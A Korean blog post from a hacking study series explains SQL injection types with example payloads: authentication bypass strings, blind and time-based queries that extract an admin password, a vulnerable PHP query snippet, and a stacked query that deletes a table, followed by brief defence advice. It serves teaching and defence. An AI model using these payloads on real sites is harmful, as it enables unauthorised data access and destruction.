Notice
Recent Posts
Recent Comments
끄적끄적
SQL Injection 본문
※ 무분별하게 또는 악의적으로 사용하게 되면 법적 처벌을 받을 수 있습니다. 함부로 사용하지 마세요.
SQL Injection
정의
- 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 개발자가 생각지 못한 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법
공격 목적
- 권한 밖의 데이터 열람, 조작
- 웹 페이지 변조
- 시스템 권한 획득
공격 방법
- 취약하게 개발된 웹 페이지의 변수를 조작해 SQL 명령 수행
- SQL 쿼리
- 쿼리문 내에 사용자 입력이 가능한 변수가 있을 때
- 사용자 입력 검증 과정 누락
- Error-Based Injection
- Blind Sql Injection
- 불필요한 쿼리문 주석처리 ( '#', '--', '<!' )
종류
인증우회
- 'or '1'='1'--
- admin'--
- userid'#
Blind Injection
- User Input 값이 Query 내 조건문의 True/False 여부가 결정되고
- 그에 따라 웹 사이트의 output이 다른 경우 이를 이용하여 DB에 있는 데이터 값을 추출할 수 있음
- /index.php?productCode=1 and true -> 상품화면이 보임
- /index.php?productCode=1 and false -> 상품화면이 안 보임
- /index.php?productCode=1 and ( select substr( user_pw, 1, 1 ) from userinfos where user_id = 'admin' ) = 'a' -> 상품화면 안 보임
- /index.php?productCode=1 and ( select substr( user_pw, 1, 1 ) from userinfos where user_id = 'admin' ) = 'b' -> 상품화면 보임 -> admin의 비밀번호 첫자리가 'b'이다.
- 이런식으로 하나씩 넣어보면서 admin의 비밀번호를 알아낼 수 있음
Time-Based Blind Injection
- 조건문의 True/False 여부로 output이 다른 경우라면 time관련 함수를 이용
- /index.php?productCode=1 and if( false, BENCHMARK(50000000, ENCODE('MSG', 'by 5 seconds')), null ) -> 사이트가 제대로 뜸
- /index.php?productCode=1 and if( true, BENCHMARK(50000000, ENCODE('MSG', 'by 5 seconds')), null ) -> DB지연 현상 발생
Union Based Injection
- Union 쿼리를 이용한 공격
- $board_id =$_POST_['boardID'];
- $query = "select board_id, title from posts where board_id = $board_id";
- $result = query( $db, $query );
- 이런 코드가 있으면 boardID 입력하는 곳에 "1 UNION <sql 공격문>" 이러면 UNION 이후의 query가 무조건 실행되므로 공격
Stacked Queries
- SQL Injection이 가능한 query를 multiple statements로 넣어 실행
- SQL에서 ;은 문장의 끝
- Ex) productCode=1;DELETE From products
- Union Based보다 강력
- Union은 Select문에 한해서만 사용이 가능하지만 이건 어떤 query든 가능
- 제한 사항
- MySQL/PHP, Oracle/Any API 지원 안 함
- MySQL/other API, SQL Server/Any API 지원
Error-Based SQL Injection
방어 방법
- 사용자 입력값 검증
- 입력받은 값을 그대로 query로 쓰지 않기
'해킹' 카테고리의 다른 글
File Inclusion (0) | 2016.02.26 |
---|---|
File Upload (0) | 2016.02.26 |
CSRF ( Cross Site Request Forgery ) (0) | 2016.02.26 |
XSS ( Cross Site Scripting ) (0) | 2016.02.26 |
웹 해킹 기본 (0) | 2016.02.26 |
Comments